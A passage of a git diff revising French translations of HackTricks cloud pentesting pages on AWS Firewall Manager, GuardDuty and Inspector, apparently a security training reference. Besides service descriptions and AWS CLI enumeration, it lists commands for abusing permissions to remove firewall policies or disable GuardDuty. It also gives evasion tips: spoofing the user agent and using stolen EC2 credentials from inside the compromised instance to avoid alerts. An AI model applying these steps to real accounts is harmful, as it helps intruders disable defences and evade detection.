interactions au fil du temps**. Cette perspective intégrée fournit tous les détails et le contexte nécessaires en un seul endroit, permettant aux équipes de discerner les raisons des constatations de sécurité, d'examiner les activités historiques pertinentes et de déterminer rapidement la cause profonde. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 8146c4acb..e45ab6943 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -1,4 +1,4 @@ -# AWS - Firewall Manager Enum +# AWS - Enumeration du Firewall Manager {{#include ../../../../banners/hacktricks-training.md}} @@ -23,10 +23,10 @@ Les étapes préalables suivantes doivent être complétées avant de procéder 1. **Rejoindre et configurer AWS Organizations :** Assurez-vous que votre compte AWS fait partie de l'organisation AWS Organizations où les politiques AWS Firewall Manager sont prévues pour être implantées. Cela permet une gestion centralisée des ressources et des politiques à travers plusieurs comptes AWS au sein de l'organisation. 2. **Créer un compte administrateur par défaut AWS Firewall Manager :** Établissez un compte administrateur par défaut spécifiquement pour gérer les politiques de sécurité de Firewall Manager. Ce compte sera responsable de la configuration et de l'application des politiques de sécurité à travers l'organisation. Seul le compte de gestion de l'organisation peut créer des comptes administrateurs par défaut pour Firewall Manager. -3. **Activer AWS Config :** Activez AWS Config pour fournir à Firewall Manager les données de configuration et les informations nécessaires pour appliquer efficacement les politiques de sécurité. AWS Config aide à analyser, auditer, surveiller et contrôler les configurations et changements de ressources, facilitant ainsi une meilleure gestion de la sécurité. +3. **Activer AWS Config :** Activez AWS Config pour fournir à Firewall Manager les données de configuration et les informations nécessaires pour appliquer efficacement les politiques de sécurité. AWS Config aide à analyser, auditer, surveiller et auditer les configurations et changements de ressources, facilitant une meilleure gestion de la sécurité. 4. **Pour les politiques tierces, abonnez-vous dans le AWS Marketplace et configurez les paramètres tiers :** Si vous prévoyez d'utiliser des politiques de pare-feu tierces, abonnez-vous à celles-ci dans le AWS Marketplace et configurez les paramètres nécessaires. Cette étape garantit que Firewall Manager peut intégrer et appliquer des politiques de fournisseurs tiers de confiance. -5. **Pour les politiques de Network Firewall et DNS Firewall, activez le partage de ressources :** Activez le partage de ressources spécifiquement pour les politiques de Network Firewall et DNS Firewall. Cela permet à Firewall Manager d'appliquer des protections de pare-feu à vos VPC et à la résolution DNS de votre organisation, renforçant ainsi la sécurité du réseau. -6. **Pour utiliser AWS Firewall Manager dans des régions désactivées par défaut :** Si vous avez l'intention d'utiliser Firewall Manager dans des régions AWS désactivées par défaut, assurez-vous de prendre les mesures nécessaires pour activer sa fonctionnalité dans ces régions. Cela garantit une application cohérente de la sécurité dans toutes les régions où votre organisation opère. +5. **Pour les politiques de Network Firewall et DNS Firewall, activez le partage de ressources :** Activez le partage de ressources spécifiquement pour les politiques de Network Firewall et DNS Firewall. Cela permet à Firewall Manager d'appliquer des protections de pare-feu à vos VPC et à la résolution DNS de votre organisation, renforçant la sécurité du réseau. +6. **Pour utiliser AWS Firewall Manager dans des régions qui sont désactivées par défaut :** Si vous avez l'intention d'utiliser Firewall Manager dans des régions AWS qui sont désactivées par défaut, assurez-vous de prendre les mesures nécessaires pour activer sa fonctionnalité dans ces régions. Cela garantit une application cohérente de la sécurité dans toutes les régions où votre organisation opère. Pour plus d'informations, consultez : [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). @@ -41,8 +41,8 @@ AWS Firewall Manager gère plusieurs types de politiques pour appliquer des cont 5. **Politique de Network Firewall :** Cette politique applique la protection AWS Network Firewall à vos VPC, renforçant la sécurité du réseau en filtrant le trafic en fonction de règles prédéfinies. 6. **Politique de DNS Firewall Amazon Route 53 Resolver :** Cette politique applique des protections DNS Firewall à vos VPC, aidant à bloquer les tentatives de résolution de domaine malveillantes et à appliquer des politiques de sécurité pour le trafic DNS. 7. **Politique de pare-feu tiers :** Ce type de politique applique des protections provenant de pare-feu tiers, qui sont disponibles par abonnement via la console AWS Marketplace. Elle vous permet d'intégrer des mesures de sécurité supplémentaires de fournisseurs de confiance dans votre environnement AWS. -1. **Politique Palo Alto Networks Cloud NGFW :** Cette politique applique des protections et des ensembles de règles du pare-feu de nouvelle génération (NGFW) Palo Alto Networks à vos VPC, fournissant une prévention avancée des menaces et des contrôles de sécurité au niveau des applications. -2. **Politique Fortigate Cloud Native Firewall (CNF) as a Service :** Cette politique applique des protections Fortigate Cloud Native Firewall (CNF) as a Service, offrant une prévention des menaces de premier plan, un pare-feu d'application web (WAF) et une protection API adaptés aux infrastructures cloud. +1. **Politique Palo Alto Networks Cloud NGFW :** Cette politique applique des protections et des ensembles de règles du pare-feu de nouvelle génération (NGFW) Palo Alto Networks Cloud à vos VPC, fournissant une prévention avancée des menaces et des contrôles de sécurité au niveau des applications. +2. **Politique Fortigate Cloud Native Firewall (CNF) as a Service :** Cette politique applique des protections Fortigate Cloud Native Firewall (CNF) as a Service, offrant une prévention des menaces de premier plan, un pare-feu d'application web (WAF) et une protection API adaptées aux infrastructures cloud. ### Comptes administrateurs @@ -54,7 +54,7 @@ AWS Firewall Manager offre de la flexibilité dans la gestion des ressources de - Régions où l'administrateur peut effectuer des actions. - Types de politiques de Firewall Manager que l'administrateur peut gérer. -Le champ d'application administratif peut être soit **complet soit restreint**. Le champ complet accorde à l'administrateur l'accès à **tous les types de ressources spécifiés, régions et types de politiques**. En revanche, **le champ restreint fournit une permission administrative uniquement à un sous-ensemble de ressources, régions ou types de politiques**. Il est conseillé d'accorder aux administrateurs uniquement les permissions dont ils ont besoin pour remplir efficacement leurs rôles. Vous pouvez appliquer n'importe quelle combinaison de ces conditions de champ d'application administratif à un administrateur, garantissant le respect du principe du moindre privilège. +Le champ d'application administratif peut être soit **complet soit restreint**. Le champ complet accorde à l'administrateur l'accès à **tous les types de ressources spécifiés, régions et types de politiques**. En revanche, **le champ restreint fournit une autorisation administrative uniquement à un sous-ensemble de ressources, régions ou types de politiques**. Il est conseillé d'accorder aux administrateurs uniquement les autorisations dont ils ont besoin pour remplir efficacement leurs rôles. Vous pouvez appliquer n'importe quelle combinaison de ces conditions de champ d'application administratif à un administrateur, garantissant le respect du principe du moindre privilège. Il existe deux types distincts de comptes administrateurs, chacun ayant des rôles et responsabilités spécifiques : @@ -73,10 +73,10 @@ La gestion de ces comptes administrateurs implique de les créer au sein de Fire Il est important de souligner que **un seul compte au sein d'une organisation peut servir d'administrateur par défaut de Firewall Manager**, respectant le principe de "**premier arrivé, dernier sorti**". Pour désigner un nouvel administrateur par défaut, une série d'étapes doit être suivie : - Tout d'abord, chaque compte administrateur de Firewall doit révoquer son propre compte. -- Ensuite, l'administrateur par défaut existant peut révoquer son propre compte, effectuant ainsi le départ de l'organisation de Firewall Manager. Ce processus entraîne la suppression de toutes les politiques de Firewall Manager créées par le compte révoqué. +- Ensuite, l'administrateur par défaut existant peut révoquer son propre compte, désengageant effectivement l'organisation de Firewall Manager. Ce processus entraîne la suppression de toutes les politiques de Firewall Manager créées par le compte révoqué. - Pour conclure, le compte de gestion AWS Organizations doit désigner l'administrateur par défaut de Firewall Manager. -## Enumeration +## Énumération ``` # Users/Administrators @@ -168,14 +168,14 @@ aws fms get-violation-details --policy-id --member-account --res Un attaquant avec la permission **`fms:AssociateAdminAccount`** serait capable de définir le compte administrateur par défaut du Firewall Manager. Avec la permission **`fms:PutAdminAccount`**, un attaquant pourrait créer ou mettre à jour un compte administrateur du Firewall Manager et avec la permission **`fms:DisassociateAdminAccount`**, un attaquant potentiel pourrait supprimer l'association du compte administrateur actuel du Firewall Manager. - La désassociation de **l'administrateur par défaut du Firewall Manager suit la politique du premier entré, dernier sorti**. Tous les administrateurs du Firewall Manager doivent se désassocier avant que l'administrateur par défaut du Firewall Manager puisse désassocier le compte. -- Pour créer un administrateur du Firewall Manager par **PutAdminAccount**, le compte doit appartenir à l'organisation qui a été précédemment intégrée au Firewall Manager en utilisant **AssociateAdminAccount**. +- Afin de créer un administrateur du Firewall Manager par **PutAdminAccount**, le compte doit appartenir à l'organisation qui a été précédemment intégrée au Firewall Manager en utilisant **AssociateAdminAccount**. - La création d'un compte administrateur du Firewall Manager ne peut être effectuée que par le compte de gestion de l'organisation. ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account aws fms put-admin-account --admin-account ``` -**Impact potentiel :** Perte de gestion centralisée, évasion de politique, violations de conformité et perturbation des contrôles de sécurité au sein de l'environnement. +**Impact potentiel :** Perte de gestion centralisée, contournement des politiques, violations de conformité et perturbation des contrôles de sécurité au sein de l'environnement. ### `fms:PutPolicy`, `fms:DeletePolicy` @@ -212,7 +212,7 @@ Un exemple de politique permissive à travers un groupe de sécurité permissif, ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -Un attaquant disposant des autorisations **`fms:BatchAssociateResource`** et **`fms:BatchDisassociateResource`** serait en mesure d'associer ou de dissocier des ressources d'un ensemble de ressources de Firewall Manager respectivement. De plus, les autorisations **`fms:PutResourceSet`** et **`fms:DeleteResourceSet`** permettraient à un attaquant de créer, modifier ou supprimer ces ensembles de ressources depuis AWS Firewall Manager. +Un attaquant disposant des permissions **`fms:BatchAssociateResource`** et **`fms:BatchDisassociateResource`** serait en mesure d'associer ou de dissocier des ressources d'un ensemble de ressources de Firewall Manager respectivement. De plus, les permissions **`fms:PutResourceSet`** et **`fms:DeleteResourceSet`** permettraient à un attaquant de créer, modifier ou supprimer ces ensembles de ressources depuis AWS Firewall Manager. ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -222,16 +222,16 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` -**Impact potentiel :** L'ajout d'un nombre inutile d'éléments à un ensemble de ressources augmentera le niveau de bruit dans le Service, pouvant potentiellement causer un DoS. De plus, des modifications des ensembles de ressources pourraient entraîner une interruption de ressource, une évasion de politique, des violations de conformité et une perturbation des contrôles de sécurité au sein de l'environnement. +**Impact potentiel :** L'ajout d'un nombre inutile d'éléments à un ensemble de ressources augmentera le niveau de bruit dans le Service, pouvant potentiellement causer un DoS. De plus, des modifications des ensembles de ressources pourraient entraîner une disruption des ressources, une évasion de politique, des violations de conformité et une disruption des contrôles de sécurité au sein de l'environnement. ### `fms:PutAppsList`, `fms:DeleteAppsList` -Un attaquant disposant des autorisations **`fms:PutAppsList`** et **`fms:DeleteAppsList`** serait en mesure de créer, modifier ou supprimer des listes d'applications depuis AWS Firewall Manager. Cela pourrait être critique, car des applications non autorisées pourraient se voir accorder un accès au grand public, ou l'accès à des applications autorisées pourrait être refusé, causant un DoS. +Un attaquant avec les permissions **`fms:PutAppsList`** et **`fms:DeleteAppsList`** serait capable de créer, modifier ou supprimer des listes d'applications depuis AWS Firewall Manager. Cela pourrait être critique, car des applications non autorisées pourraient se voir accorder l'accès au grand public, ou l'accès à des applications autorisées pourrait être refusé, causant un DoS. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id ``` -**Impact potentiel :** Cela pourrait entraîner des erreurs de configuration, des contournements de politique, des violations de conformité et une perturbation des contrôles de sécurité au sein de l'environnement. +**Impact potentiel :** Cela pourrait entraîner des erreurs de configuration, une évasion de politique, des violations de conformité et une perturbation des contrôles de sécurité au sein de l'environnement. ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` @@ -273,7 +273,7 @@ aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETW ### `fms:TagResource`, `fms:UntagResource` -Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources de Firewall Manager, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur des balises. +Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources de Firewall Manager, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les balises. ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index feb45c474..cbf9d1830 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,7 +4,7 @@ ## GuardDuty -Selon les [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combine **l'apprentissage automatique, la détection d'anomalies, la surveillance du réseau et la découverte de fichiers malveillants**, en utilisant à la fois AWS et des sources tierces de premier plan pour aider à protéger les charges de travail et les données sur AWS. GuardDuty est capable d'analyser des dizaines de milliards d'événements à travers plusieurs sources de données AWS, telles que les journaux d'événements AWS CloudTrail, les journaux de flux Amazon Virtual Private Cloud (VPC), les journaux d'audit et de système d'Amazon Elastic Kubernetes Service (EKS), et les journaux de requêtes DNS. +Selon les [**docs**](https://aws.amazon.com/guardduty/features/) : GuardDuty combine **l'apprentissage automatique, la détection d'anomalies, la surveillance du réseau et la découverte de fichiers malveillants**, en utilisant à la fois AWS et des sources tierces de premier plan pour aider à protéger les charges de travail et les données sur AWS. GuardDuty est capable d'analyser des dizaines de milliards d'événements à travers plusieurs sources de données AWS, telles que les journaux d'événements AWS CloudTrail, les journaux de flux Amazon Virtual Private Cloud (VPC), les journaux d'audit et de système d'Amazon Elastic Kubernetes Service (EKS), et les journaux de requêtes DNS. Amazon GuardDuty **identifie les activités inhabituelles au sein de vos comptes**, analyse la **pertinence de la sécurité** de l'activité et fournit le **contexte** dans lequel elle a été invoquée. Cela permet à un intervenant de déterminer s'il doit consacrer du temps à une enquête plus approfondie. @@ -16,37 +16,37 @@ Les alertes **apparaissent dans la console GuardDuty (90 jours)** et dans les é ### Exemples de Découvertes -- **Reconnaissance**: Activité suggérant une reconnaissance par un attaquant, telle que **une activité API inhabituelle**, des tentatives de **connexion** à la base de données suspectes, un **scan de port** intra-VPC, des modèles de requêtes de connexion échouées inhabituels, ou un sondage de port non bloqué à partir d'une IP connue comme malveillante. -- **Compromission d'instance**: Activité indiquant une compromission d'instance, telle que **minage de cryptomonnaie, activité de commande et de contrôle (C\&C)** par porte dérobée, malware utilisant des algorithmes de génération de domaine (DGA), activité de déni de service sortant, volume de trafic **réseau** anormalement **élevé**, protocoles réseau inhabituels, communication d'instance sortante avec une IP malveillante connue, des identifiants Amazon EC2 temporaires utilisés par une adresse IP externe, et exfiltration de données utilisant DNS. -- **Compromission de compte**: Les modèles courants indicatifs de compromission de compte incluent des appels API provenant d'une géolocalisation inhabituelle ou d'un proxy anonymisant, des tentatives de désactiver la journalisation AWS CloudTrail, des changements qui affaiblissent la politique de mot de passe du compte, des lancements d'instances ou d'infrastructures inhabituels, des déploiements d'infrastructure dans une région inhabituelle, le vol d'identifiants, une activité de connexion à la base de données suspecte, et des appels API provenant d'adresses IP malveillantes connues. -- **Compromission de bucket**: Activité indiquant une compromission de bucket, telle que des modèles d'accès aux données suspects indiquant un usage abusif des identifiants, une activité API Amazon S3 inhabituelle provenant d'un hôte distant, un accès S3 non autorisé à partir d'adresses IP malveillantes connues, et des appels API pour récupérer des données dans des buckets S3 d'un utilisateur sans historique préalable d'accès au bucket ou invoqués depuis un emplacement inhabituel. Amazon GuardDuty surveille et analyse en continu les événements de données S3 d'AWS CloudTrail (par exemple, GetObject, ListObjects, DeleteObject) pour détecter des activités suspectes à travers tous vos buckets Amazon S3. +- **Reconnaissance** : Activité suggérant une reconnaissance par un attaquant, telle que **une activité API inhabituelle**, des tentatives de **connexion** à une base de données suspectes, un **scan de port** intra-VPC, des modèles de requêtes de connexion échouées inhabituels, ou un sondage de port non bloqué à partir d'une IP connue comme malveillante. +- **Compromission d'instance** : Activité indiquant une compromission d'instance, telle que **minage de cryptomonnaie, activité de commande et de contrôle (C\&C)** par porte dérobée, malware utilisant des algorithmes de génération de domaine (DGA), activité de déni de service sortant, volume de trafic **réseau** anormalement **élevé**, protocoles réseau inhabituels, communication d'instance sortante avec une IP malveillante connue, et des identifiants Amazon EC2 temporaires utilisés par une adresse IP externe, ainsi que l'exfiltration de données utilisant DNS. +- **Compromission de compte** : Les modèles courants indicatifs de compromission de compte incluent des appels API provenant d'une géolocalisation inhabituelle ou d'un proxy anonymisant, des tentatives de désactiver la journalisation AWS CloudTrail, des changements qui affaiblissent la politique de mot de passe du compte, des lancements d'instances ou d'infrastructures inhabituels, des déploiements d'infrastructure dans une région inhabituelle, le vol d'identifiants, une activité de connexion à la base de données suspecte, et des appels API provenant d'adresses IP malveillantes connues. +- **Compromission de bucket** : Activité indiquant une compromission de bucket, telle que des modèles d'accès aux données suspects indiquant un usage abusif des identifiants, une activité API Amazon S3 inhabituelle provenant d'un hôte distant, un accès S3 non autorisé à partir d'adresses IP malveillantes connues, et des appels API pour récupérer des données dans des buckets S3 d'un utilisateur sans historique préalable d'accès au bucket ou invoqués depuis un emplacement inhabituel. Amazon GuardDuty surveille et analyse en continu les événements de données S3 d'AWS CloudTrail (par exemple, GetObject, ListObjects, DeleteObject) pour détecter des activités suspectes à travers tous vos buckets Amazon S3.
Informations sur les Découvertes -Résumé des découvertes: +Résumé des découvertes : - Type de découverte -- Gravité: 7-8.9 Élevée, 4-6.9 Moyenne, 01-3.9 Faible +- Gravité : 7-8.9 Élevé, 4-6.9 Moyen, 01-3.9 Faible - Région - ID de compte - ID de ressource - Heure de détection - Quelle liste de menaces a été utilisée -Le corps contient ces informations: +Le corps contient ces informations : - Ressource affectée - Action -- Acteur: Adresse IP, port et domaine +- Acteur : Adresse IP, port et domaine - Informations supplémentaires
### Toutes les Découvertes -Accédez à une liste de toutes les découvertes GuardDuty sur: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) +Accédez à une liste de toutes les découvertes GuardDuty sur : [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ### Comptes Multiples @@ -58,7 +58,7 @@ Vous pouvez **inviter d'autres comptes** à un compte AWS GuardDuty différent a Vous pouvez désigner n'importe quel compte au sein de l'organisation comme **administrateur délégué GuardDuty**. Seul le compte de gestion de l'organisation peut désigner un administrateur délégué. -Un compte désigné comme administrateur délégué devient un compte administrateur GuardDuty, a GuardDuty activé automatiquement dans la région AWS désignée, et a également **le droit d'activer et de gérer GuardDuty pour tous les comptes de l'organisation dans cette région**. Les autres comptes de l'organisation peuvent être consultés et ajoutés en tant que comptes membres GuardDuty associés à ce compte administrateur délégué. +Un compte désigné comme administrateur délégué devient un compte administrateur GuardDuty, a GuardDuty activé automatiquement dans la région AWS désignée, et a également **le droit d'activer et de gérer GuardDuty pour tous les comptes de l'organisation dans cette région**. Les autres comptes de l'organisation peuvent être visualisés et ajoutés en tant que comptes membres GuardDuty associés à ce compte administrateur délégué. ## Énumération ```bash @@ -100,9 +100,9 @@ aws guardduty list-publishing-destinations --detector-id aws guardduty list-threat-intel-sets --detector-id aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` -## GuardDuty Bypass +## Contournement de GuardDuty -### General Guidance +### Conseils généraux Essayez de découvrir autant que possible sur le comportement des identifiants que vous allez utiliser : @@ -118,7 +118,7 @@ Avec ces informations, recréez autant que possible le même scénario pour util - Essayez toujours d'utiliser les **mêmes permissions** que ce principal a utilisées - Si vous devez **utiliser d'autres permissions ou abuser d'une permission** (par exemple, télécharger 1.000.000 de fichiers journaux cloudtrail), faites-le **lentement** et avec le **minimum d'interactions** avec AWS (awscli appelle parfois plusieurs API de lecture avant celle d'écriture) -### Breaking GuardDuty +### Contournement de GuardDuty #### `guardduty:UpdateDetector` @@ -150,21 +150,21 @@ aws guardduty delete-publishing-destination --detector-id --destin ### Exemples spécifiques de contournement des résultats -Notez qu'il existe des dizaines de résultats GuardDuty, cependant, **en tant que Red Teamer, tous ne vous affecteront pas**, et ce qui est mieux, vous avez la **documentation complète de chacun d'eux** sur [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) donc jetez un œil avant de faire quoi que ce soit pour ne pas vous faire prendre. +Notez qu'il existe des dizaines de résultats GuardDuty, cependant, **en tant que Red Teamer, tous ne vous affecteront pas**, et ce qui est mieux, vous avez la **documentation complète de chacun d'eux** dans [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html), alors jetez un œil avant de faire quoi que ce soit pour ne pas vous faire prendre. Voici quelques exemples de contournement de résultats spécifiques de GuardDuty : #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) -GuardDuty détecte les requêtes API AWS provenant d'outils de test de pénétration courants et déclenche un [Résultat de PenTest](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ -Il est détecté par le **nom de l'agent utilisateur** qui est passé dans la requête API.\ +GuardDuty détecte les requêtes API AWS provenant d'outils de test de pénétration courants et déclenche un [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ +C'est détecté par le **nom de l'agent utilisateur** qui est passé dans la requête API.\ Par conséquent, **modifier l'agent utilisateur** permet d'empêcher GuardDuty de détecter l'attaque. Pour éviter cela, vous pouvez rechercher dans le script `session.py` dans le package `botocore` et modifier l'agent utilisateur, ou définir Burp Suite comme proxy AWS CLI et changer l'agent utilisateur avec le MitM ou simplement utiliser un OS comme Ubuntu, Mac ou Windows pour empêcher cette alerte de se déclencher. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -L'extraction des identifiants EC2 du service de métadonnées et **leur utilisation à l'extérieur** de l'environnement AWS active l'alerte [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Inversement, l'utilisation de ces identifiants depuis votre instance EC2 déclenche l'alerte [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Pourtant, **l'utilisation des identifiants sur une autre instance EC2 compromise au sein du même compte passe inaperçue**, ne déclenchant aucune alerte. +L'extraction des identifiants EC2 du service de métadonnées et **leur utilisation à l'extérieur** de l'environnement AWS active l'alerte [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). En revanche, l'utilisation de ces identifiants depuis votre instance EC2 déclenche l'alerte [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Pourtant, **l'utilisation des identifiants sur une autre instance EC2 compromise au sein du même compte passe inaperçue**, ne déclenchant aucune alerte. > [!TIP] > Par conséquent, **utilisez les identifiants exfiltrés depuis l'intérieur de la machine** où vous les avez trouvés pour ne pas déclencher cette alerte. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 42abd51d7..7b620978d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -12,47 +12,47 @@ Amazon Inspector est un service avancé et automatisé de gestion des vulnérabi #### Findings -Les résultats dans Amazon Inspector sont des rapports détaillés sur les vulnérabilités et les expositions découvertes lors de l'analyse des instances EC2, des dépôts ECR ou des fonctions Lambda. En fonction de son état, les résultats sont classés comme suit : +Les findings dans Amazon Inspector sont des rapports détaillés sur les vulnérabilités et les expositions découvertes lors de l'analyse des instances EC2, des dépôts ECR ou des fonctions Lambda. En fonction de son état, les findings sont classés comme suit : -- **Actif** : Le résultat n'a pas été remédié. -- **Fermé** : Le résultat a été remédié. -- **Supprimé** : Le résultat a été marqué avec cet état en raison d'une ou plusieurs **règles de suppression**. +- **Active** : Le finding n'a pas été remédié. +- **Closed** : Le finding a été remédié. +- **Suppressed** : Le finding a été marqué avec cet état en raison d'une ou plusieurs **règles de suppression**. -Les résultats sont également classés en trois types : +Les findings sont également classés en trois types : -- **Package** : Ces résultats concernent les vulnérabilités dans les packages logiciels installés sur vos ressources. Des exemples incluent des bibliothèques obsolètes ou des dépendances avec des problèmes de sécurité connus. +- **Package** : Ces findings concernent les vulnérabilités dans les packages logiciels installés sur vos ressources. Des exemples incluent des bibliothèques obsolètes ou des dépendances avec des problèmes de sécurité connus. - **Code** : Cette catégorie inclut les vulnérabilités trouvées dans le code des applications fonctionnant sur vos ressources AWS. Les problèmes courants sont des erreurs de codage ou des pratiques non sécurisées qui pourraient entraîner des violations de sécurité. -- **Réseau** : Les résultats réseau identifient les expositions potentielles dans les configurations réseau qui pourraient être exploitées par des attaquants. Cela inclut des ports ouverts, des protocoles réseau non sécurisés et des groupes de sécurité mal configurés. +- **Network** : Les findings réseau identifient les expositions potentielles dans les configurations réseau qui pourraient être exploitées par des attaquants. Cela inclut des ports ouverts, des protocoles réseau non sécurisés et des groupes de sécurité mal configurés. #### Filters and Suppression Rules -Les filtres et les règles de suppression dans Amazon Inspector aident à gérer et à prioriser les résultats. Les filtres vous permettent de raffiner les résultats en fonction de critères spécifiques, tels que la gravité ou le type de ressource. Les règles de suppression vous permettent de supprimer certains résultats considérés comme à faible risque, déjà atténués, ou pour toute autre raison importante, empêchant ainsi une surcharge de vos rapports de sécurité et vous permettant de vous concentrer sur des problèmes plus critiques. +Les filtres et les règles de suppression dans Amazon Inspector aident à gérer et à prioriser les findings. Les filtres vous permettent de raffiner les findings en fonction de critères spécifiques, tels que la gravité ou le type de ressource. Les règles de suppression vous permettent de supprimer certains findings considérés comme à faible risque, déjà atténués, ou pour toute autre raison importante, empêchant ainsi leur surcharge dans vos rapports de sécurité et vous permettant de vous concentrer sur des problèmes plus critiques. #### Software Bill of Materials (SBOM) -Une Software Bill of Materials (SBOM) dans Amazon Inspector est une liste d'inventaire imbriquée exportable détaillant tous les composants d'un package logiciel, y compris les bibliothèques et les dépendances. Les SBOM aident à fournir de la transparence dans la chaîne d'approvisionnement logicielle, permettant une meilleure gestion des vulnérabilités et conformité. Elles sont cruciales pour identifier et atténuer les risques associés aux composants logiciels open source et tiers. +Un Software Bill of Materials (SBOM) dans Amazon Inspector est une liste d'inventaire imbriquée exportable détaillant tous les composants d'un package logiciel, y compris les bibliothèques et les dépendances. Les SBOM aident à fournir de la transparence dans la chaîne d'approvisionnement logicielle, permettant une meilleure gestion des vulnérabilités et conformité. Ils sont cruciaux pour identifier et atténuer les risques associés aux composants logiciels open source et tiers. ### Key features #### Export findings -Amazon Inspector offre la possibilité d'exporter les résultats vers des Amazon S3 Buckets, Amazon EventBridge et AWS Security Hub, ce qui vous permet de générer des rapports détaillés des vulnérabilités et expositions identifiées pour une analyse ou un partage ultérieur à une date et heure spécifiques. Cette fonctionnalité prend en charge divers formats de sortie tels que CSV et JSON, facilitant l'intégration avec d'autres outils et systèmes. La fonctionnalité d'exportation permet de personnaliser les données incluses dans les rapports, vous permettant de filtrer les résultats en fonction de critères spécifiques tels que la gravité, le type de ressource ou la plage de dates, et incluant par défaut tous vos résultats dans la région AWS actuelle avec un statut Actif. +Amazon Inspector offre la possibilité d'exporter les findings vers des Amazon S3 Buckets, Amazon EventBridge et AWS Security Hub, ce qui vous permet de générer des rapports détaillés des vulnérabilités et expositions identifiées pour une analyse ou un partage ultérieur à une date et heure spécifiques. Cette fonctionnalité prend en charge divers formats de sortie tels que CSV et JSON, facilitant l'intégration avec d'autres outils et systèmes. La fonctionnalité d'exportation permet de personnaliser les données incluses dans les rapports, vous permettant de filtrer les findings en fonction de critères spécifiques tels que la gravité, le type de ressource ou la plage de dates, et incluant par défaut tous vos findings dans la région AWS actuelle avec un statut Actif. -Lors de l'exportation des résultats, une clé de service de gestion des clés (KMS) est nécessaire pour chiffrer les données lors de l'exportation. Les clés KMS garantissent que les résultats exportés sont protégés contre tout accès non autorisé, fournissant une couche de sécurité supplémentaire pour les informations sensibles sur les vulnérabilités. +Lors de l'exportation des findings, une clé de service de gestion des clés (KMS) est nécessaire pour chiffrer les données lors de l'exportation. Les clés KMS garantissent que les findings exportés sont protégés contre tout accès non autorisé, fournissant une couche de sécurité supplémentaire pour les informations sensibles sur les vulnérabilités. #### Amazon EC2 instances scanning -Amazon Inspector offre des capacités de scan robustes pour les instances Amazon EC2 afin de détecter les vulnérabilités et les problèmes de sécurité. Inspector compare les métadonnées extraites de l'instance EC2 avec des règles provenant d'avis de sécurité afin de produire des vulnérabilités de package et des problèmes de connectivité réseau. Ces scans peuvent être effectués par des méthodes **basées sur un agent** ou **sans agent**, selon la configuration des 